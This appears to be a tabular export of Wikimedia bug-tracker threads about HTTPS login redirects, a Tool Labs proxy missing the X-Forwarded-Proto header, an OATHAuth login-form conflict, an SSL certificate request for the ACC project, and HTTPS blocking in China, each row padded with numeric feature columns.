**Severity**: normal",Needs Triage,90.0,1378208820,1378280142.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-5o6hcv5x7uqgywxetn4x,task_description,declined,True,c2,3,False,False,True,0,True,1.0,0.0,0.0,0.5,0.5,2.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.5,1.0,0.0,3.0,11.5,0.0,1.5,0.0,0.5,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.5,3.5,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,10.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.5,11.0,1.5,2.5,3.5,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,11.5,5.5,1.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,1.0,3.6864406779661016,0.7203389830508474,"**Author:** CODE

**Description:**
After recent changes in HTTP/HTTPS logging in for users there's a problem*.
Google search results point to HTTP versions of articles but users are not logged in while on HTTP. This enforces users to reload page or re-log in.
I see some solution in bug 51002 ?

*)Although this also occured before but user could login via HTTP (and optionally use a DIY script in common.js to redirect to HTTPS).

--------------------------
**Version**: unspecified
**Severity**: normal"
234430,Google points to HTTP articles (where users cannot log in),"**winne2i** wrote:

Gosh, it works today… I don't know why it didn't two previous times.
Shame on it. Shame on me.
Consider thus bug resolved. Thanks!",,,1378280142,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-5o6hcv5x7uqgywxetn4x,task_subcomment,,True,c2,3,False,,,1,True,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,5.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,7.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,0.0,12.0,5.0,2.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.9767441860465116,0.7209302325581395,"**winne2i** wrote:

Gosh, it works today… I don't know why it didn't two previous times.
Shame on it. Shame on me.
Consider thus bug resolved. Thanks!"
234424,Google points to HTTP articles (where users cannot log in),"This bug is probably a duplicate of bug 51002, but the resolution of this one has non-trivial implications, see the on-going discussion on wikimedia-l <http://thread.gmane.org/gmane.org.wikimedia.foundation/68103>.

If you are already connected to Wikipedia, you should be redirected from HTTP to HTTPS if you keep checked the preference ""Always use a secure connection when logged in"" (1st page of preferences). Do you really have this checkbox checked? (if no, disconnect and reconnect after checking.)",,,1378278927,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-5o6hcv5x7uqgywxetn4x,task_subcomment,,True,c2,3,False,,,1,True,0.0,0.0,0.0,2.0,0.0,5.0,1.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,14.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,3.0,9.0,4.0,2.0,9.0,0.0,0.0,0.0,0.0,5.0,1.0,1.0,0.0,4.0,14.0,4.0,1.0,2.0,0.0,4.0,0.0,1.0,2.0,0.0,2.0,0.0,0.0,1.0,4.032258064516129,0.7526881720430108,"This bug is probably a duplicate of bug 51002, but the resolution of this one has non-trivial implications, see the on-going discussion on wikimedia-l <URL

If you are already connected to Wikipedia, you should be redirected from HTTP to HTTPS if you keep checked the preference ""Always use a secure connection when logged in"" (1st page of preferences). Do you really have this checkbox checked? (if no, disconnect and reconnect after checking.)"
55689,Tool Labs: Local webservice should know about HTTPS in original request,"See https://tools.wmflabs.org/liangent-php/detectProtocol.php/enwiki

Feel free to move this bug to MediaWiki product if there's some reliable way to check so there while MediaWiki is unaware of it.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=64627",Needs Triage,90.0,1378155000,1398826831.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-iztdhvta2ukuhruf37gl,task_description,resolved,True,c2,3,False,False,False,0,True,2.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,11.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,18.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,11.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.543859649122807,0.5964912280701754,"See URL

Feel free to move this bug to MediaWiki product if there's some reliable way to check so there while MediaWiki is unaware of it.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
233510,Tool Labs: Local webservice should know about HTTPS in original request,Seems fixed,,,1398826759,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-iztdhvta2ukuhruf37gl,task_subcomment,,True,c2,3,False,,,35,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Seems fixed
233506,Tool Labs: Local webservice should know about HTTPS in original request,"Looks like this doesn't work anymore, may or may not be caused by tools being additionally proxied to tools-eqiad.

https://tools.wmflabs.org/blankpages/_server.php

    [HTTP_X_FORWARDED_PROTO] => http",,,1395022517,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-iztdhvta2ukuhruf37gl,task_subcomment,,True,c2,3,True,,,28,True,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,21.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.151515151515151,0.9393939393939394,"Looks like this doesn't work anymore, may or may not be caused by tools being additionally proxied to tools-eqiad.

URL

    [HTTP_X_FORWARDED_PROTO] => http"
233501,Tool Labs: Local webservice should know about HTTPS in original request,"And indeed, it was.  The X-Forwarded-Proto header should now be present.",,,1386607467,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-iztdhvta2ukuhruf37gl,task_subcomment,,True,c2,3,False,,,14,True,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,26.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.263157894736842,0.8947368421052632,"And indeed, it was.  The X-Forwarded-Proto header should now be present."
233494,Tool Labs: Local webservice should know about HTTPS in original request,Hm; that should be simple enough actually.  Lemme see what I can do.,,,1386604405,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-iztdhvta2ukuhruf37gl,task_subcomment,,True,c2,3,False,,,14,True,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,18.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2941176470588234,0.9411764705882353,Hm; that should be simple enough actually.  Lemme see what I can do.
233487,Tool Labs: Local webservice should know about HTTPS in original request,"Is it possible to configure the proxy to add X-Forwarded-Proto, like http://www.geekisp.com/faq/6_65_en.html ?",,,1386603359,,PHID-USER-53x4y44yt43qjivfzsqf,False,,,PHID-TASK-iztdhvta2ukuhruf37gl,task_subcomment,,True,c2,3,False,,,14,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,28.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,17.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4444444444444446,0.8888888888888888,"Is it possible to configure the proxy to add X-Forwarded-Proto, like URL ?"
233479,Tool Labs: Local webservice should know about HTTPS in original request,"Ah, interesting.  The communication between the proxy and the internal webservers currently occur through HTTP over the (virtual) network (with the proxy taking care of encryption) -- it's not immediately clear to me how this could be hidden from the application.",,,1378156940,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-iztdhvta2ukuhruf37gl,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,6.0,2.0,2.0,14.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.0,14.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,4.46,0.84,"Ah, interesting.  The communication between the proxy and the internal webservers currently occur through HTTP over the (virtual) network (with the proxy taking care of encryption) -- it's not immediately clear to me how this could be hidden from the application."
233472,Tool Labs: Local webservice should know about HTTPS in original request,(Consequently this causes a redirect loop in MediaWiki installations on Tool-Lab with $wgSecureLogin = true; and this is why I spotted it),,,1378155765,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-iztdhvta2ukuhruf37gl,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,18.0,4.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,7.0,0.0,0.0,0.0,7.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.178571428571429,0.9642857142857143,(Consequently this causes a redirect loop in MediaWiki installations on Tool-Lab with $wgSecureLogin = true; and this is why I spotted it)
55198,E:OATHAuth needs to be friendly with other authn extensions on the login page,"OATHAuth uses the following line to add the extra input to the login form:

$template->set( 'extrafields', $input );

This actually overwrites the extrafields parameter, so if there is any other extension that also adds fields to the login form, it will be overwritten.

--------------------------
**Version**: master
**Severity**: normal",Needs Triage,90.0,1377142440,1399867263.0,PHID-USER-ea6gwat27oulytc5tvsy,False,,False,PHID-TASK-g2ktztok7ffjl6cojgre,task_description,resolved,True,c2,2,False,False,False,-1,True,1.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,3.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,19.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,3.0,5.0,1.0,1.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,5.0,3.0,0.0,3.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.6486486486486487,"OATHAuth uses the following line to add the extra input to the login form:

$template->set( 'extrafields', $input );

This actually overwrites the extrafields parameter, so if there is any other extension that also adds fields to the login form, it will be overwritten.

--------------------------
**Version**: master
**Severity**: normal"
253719,E:OATHAuth needs to be friendly with other authn extensions on the login page,"Change 132776 merged by jenkins-bot:
Make OAUTHAuth more friendly with other authnz extensions

https://gerrit.wikimedia.org/r/132776",,,1399823824,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g2ktztok7ffjl6cojgre,task_subcomment,,True,c2,3,False,,,36,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,1.0,"Change 132776 merged by jenkins-bot:
Make OAUTHAuth more friendly with other authnz extensions

GERRIT_URL"
253713,E:OATHAuth needs to be friendly with other authn extensions on the login page,"Change 132776 had a related patch set uploaded by Parent5446:
Make OAUTHAuth more friendly with other authnz extensions

https://gerrit.wikimedia.org/r/132776",,,1399796883,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g2ktztok7ffjl6cojgre,task_subcomment,,True,c2,3,False,,,36,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,23.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,5.2272727272727275,1.0,"Change 132776 had a related patch set uploaded by Parent5446:
Make OAUTHAuth more friendly with other authnz extensions

GERRIT_URL"
55175,SSL certificate for ACC project (acc.wmflabs.org),"The ACC <https://en.wikipedia.orgg/wiki/WP:ACC> project is in the final stages of moving from the Toolserver to Wikimedia Labs, but since it requires HTTPS (to protect users' privacy) and is also its own Labs project (by necessity), it also requires its own valid SSL certificates.

Thank you very much in advance!

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=56927",Needs Triage,90.0,1377119040,1386536673.0,PHID-USER-q6nnw3r5axkpgj5uftsh,False,,False,PHID-TASK-nyb4iclh6jdmalyihgkk,task_description,resolved,True,c2,2,False,False,False,-1,True,1.0,0.0,1.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,5.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,17.0,1.0,2.0,3.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,6.0,9.0,7.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,3.7045454545454546,0.6363636363636364,"The ACC <URL project is in the final stages of moving from the Toolserver to Wikimedia Labs, but since it requires HTTPS (to protect users' privacy) and is also its own Labs project (by necessity), it also requires its own valid SSL certificates.

Thank you very much in advance!

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
252665,SSL certificate for ACC project (acc.wmflabs.org),https://acc.wmflabs.org/ appears to have working SSL now.,,,1386536673,,PHID-USER-7ggbl2sm3bxckkmp6uw3,False,,,PHID-TASK-nyb4iclh6jdmalyihgkk,task_subcomment,,True,c2,3,False,,,14,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.75,1.0,URL appears to have working SSL now.
252660,SSL certificate for ACC project (acc.wmflabs.org),We have a new proxy that handles dns and https. We're have a wikitech interface incoming for this in the next week or two.,,,1382214427,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-nyb4iclh6jdmalyihgkk,task_subcomment,,True,c2,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,7.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.8518518518518519,We have a new proxy that handles dns and https. We're have a wikitech interface incoming for this in the next week or two.
252656,SSL certificate for ACC project (acc.wmflabs.org),Any updates on this issue?  We're still waiting on this to perform the move from TS to Labs.,,,1382170701,,PHID-USER-q6nnw3r5axkpgj5uftsh,False,,,PHID-TASK-nyb4iclh6jdmalyihgkk,task_subcomment,,True,c2,3,False,,,7,True,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,23.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,23.0,9.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.409090909090909,0.8636363636363636,Any updates on this issue?  We're still waiting on this to perform the move from TS to Labs.
252652,SSL certificate for ACC project (acc.wmflabs.org),"If it's an ops managed proxy, let's just get a *.wmflabs.org/*.tools.wmflabs.org cert with a shortish (6 month?) expiry.",,,1377132898,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-nyb4iclh6jdmalyihgkk,task_subcomment,,True,c2,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,8.0,8.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,3.9615384615384617,0.9230769230769231,"If it's an ops managed proxy, let's just get a *.wmflabs.org/*.tools.wmflabs.org cert with a shortish (6 month?) expiry."
252647,SSL certificate for ACC project (acc.wmflabs.org),"The certificate will be installed on an ops-managed proxy; so the ""usual"" process should apply.",,,1377123624,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-nyb4iclh6jdmalyihgkk,task_subcomment,,True,c2,2,False,,,-1,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,5.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,0.9523809523809523,"The certificate will be installed on an ops-managed proxy; so the ""usual"" process should apply."
252641,SSL certificate for ACC project (acc.wmflabs.org),"Coren said to file this report, so I did.  :P",,,1377119629,,PHID-USER-q6nnw3r5axkpgj5uftsh,False,,,PHID-TASK-nyb4iclh6jdmalyihgkk,task_subcomment,,True,c2,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,15.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.769230769230769,1.0,"Coren said to file this report, so I did.  :P"
252630,SSL certificate for ACC project (acc.wmflabs.org),Noting we don't have a process for supplying/using SSL certs for labs projects...,,,1377119219,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-nyb4iclh6jdmalyihgkk,task_subcomment,,True,c2,2,True,,,-1,True,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,18.0,0.0,0.0,0.0,4.0588235294117645,0.9411764705882353,Noting we don't have a process for supplying/using SSL certs for labs projects...
55144,HTTPS only Wikimedia problem for China Language related Wikipedias,"This bug is about the problem of HTTPS for languages of China (where HTTPS is blocked). I suggest not to discuss political implications here (and discuss it on the wikimedia-l mailing list) but only technical things.

The bug/problem is largely known but I don’t think there is an open bug for that, so this is the case now; probably the resolution can be INVALID or WONTFIX because it is due to external factors, but it will serve to concentrate the discussion.

This bug is related to bug 52846 about a similar problem in Iran, and resolution/discussions can be different although related.

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52846",Needs Triage,90.0,1377070080,1377076211.0,PHID-USER-2nopae2cxuamwcbndaih,False,,False,PHID-TASK-ewbuemim6adiimcwdugy,task_description,invalid,True,c2,2,False,False,True,-1,True,0.0,0.0,0.0,1.5,0.5,5.0,2.5,0.5,0.5,0.0,0.5,0.0,0.0,0.5,0.5,1.0,0.0,4.5,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,5.0,1.5,2.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,5.0,0.0,1.5,0.0,0.0,0.0,11.0,1.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,4.5,5.0,9.5,2.0,4.0,6.5,0.0,0.0,0.0,0.0,5.5,0.0,0.5,0.0,3.0,8.0,3.0,0.0,0.0,0.0,3.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,3.848684210526316,0.7039473684210527,"This bug is about the problem of HTTPS for languages of China (where HTTPS is blocked). I suggest not to discuss political implications here (and discuss it on the wikimedia-l mailing list) but only technical things.

The bug/problem is largely known but I don’t think there is an open bug for that, so this is the case now; probably the resolution can be INVALID or WONTFIX because it is due to external factors, but it will serve to concentrate the discussion.

This bug is related to bug 52846 about a similar problem in Iran, and resolution/discussions can be different although related.

